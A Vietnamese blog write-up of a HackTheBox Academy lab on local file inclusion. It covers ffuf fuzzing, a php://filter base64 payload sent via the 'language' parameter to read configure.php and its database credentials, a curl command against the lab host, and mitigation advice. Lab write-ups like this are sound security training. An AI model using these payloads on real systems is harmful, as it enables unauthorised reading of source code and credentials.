🛡️ Write-up: PHP Filters - File Inclusion - HackTheBox Academy

📘 Challenge Summary
Mục tiêu là fuzz ứng dụng web để tìm ra các tập tin PHP tiềm ẩn, sau đó khai thác điểm Local File Inclusion (LFI) để đọc nội dung tập tin cấu hình chứa thông tin nhạy cảm — cụ thể là database password.
🔍 Recon & Enumeration
1. Directory Fuzzing
Sử dụng ffuf
cùng wordlist directory-list-2.3-small.txt
để tìm kiếm các tập tin .php
trong thư mục gốc:
ffuf -w /path/to/wordlist.txt -u http://TARGET/FUZZ.php
Kết quả đáng chú ý:
index.php
→ HTTP 200 OKconfigure.php
→ HTTP 302 redirect toindex.php
.htaccess
,.htpasswd
→ HTTP 403 Forbidden
➡️ Dấu hiệu rõ ràng là configure.php
tồn tại, nhưng truy cập trực tiếp bị chuyển hướng hoặc chặn.
⚙️ Source Code Disclosure via LFI + php://filter
2. LFI Detection
Quan sát trong index.php
, có tham số language
bị sử dụng trong URL:
http://TARGET/index.php?language=en
Tiến hành thử thay thế với LFI:
http://TARGET/index.php?language=configure
Kết quả: Không trả về nội dung đáng kể (vì configure.php
có chặn request GET
và redirect).
3. Bypass bằng php://filter
PHP cung cấp một stream wrapper đặc biệt php://filter
cho phép thao tác dữ liệu file trước khi thực thi. Dùng payload:
http://TARGET/index.php?language=php://filter/read=convert.base64-encode/resource=configure
➡️ Kết quả trả về: mã nguồn configure.php
được mã hóa base64.
┌──(kali㉿kali)-[~] └─$ curl 94.237.121.185:39139/index.php?language=php://filter/read=convert.base64-encode/resource=configure
4. Giải mã
Dùng base64 -d
để giải mã nội dung source code:
echo "<base64_string>" | base64 -d
Output:
🧠 Technical Analysis
✅ Vấn đề bảo mật (CVE-class)
Local File Inclusion (LFI) không kiểm soát được input đầu vào ở
language=...
.Disclosure of sensitive information:
php://filter
không bị chặn, cho phép bypass cơ chế thực thi PHP và đọc file thô.Tập tin
configure.php
chứa thông tin nhạy cảm (DB creds) nhưng chỉ kiểm tra$_SERVER['REQUEST_METHOD']
, không bảo vệ khi bịinclude
.
🛠️ Mitigation Recommendations
Validate & sanitize tất cả tham số GET/POST (
language
,page
,...).Không bao giờ để thông tin nhạy cảm trong các file có thể bị include.
Disable dangerous wrappers nếu không dùng:
allow_url_include = Off
Sử dụng
.htaccess
hoặc các phương thức bảo vệ server-side để ngăn truy cập tới các tập tin cấu hình.Chặn sử dụng
php://filter
nếu không cần thiết (thông quaopen_basedir
,disable_functions
, hoặc WAF rules).
🧩 Tổng kết
Kỹ thuật sử dụng php://filter
là một trong những cách khai thác LFI phổ biến và hiệu quả nhất để lấy mã nguồn PHP. Nếu ứng dụng có chứa các tập tin cấu hình nhạy cảm (ví dụ configure.php
) và không có lớp bảo vệ chắc chắn, attacker có thể dễ dàng lấy được thông tin mật — như mật khẩu cơ sở dữ liệu, API key, hoặc private key.
Subscribe to my newsletter
Read articles from Khoa Nguyen directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

Khoa Nguyen
Khoa Nguyen
Mình là người mới bắt đầu tìm hiểu công nghệ đặc biệt về ngành an toàn thông tin. Mình có viết lại các bài này chủ yếu luyện tiếng Anh và đọc thêm. Cảm ơn mọi người đã quan tâm và đón đọc. Nếu có góp ý gì xin hãy liên lạc với mình nhé!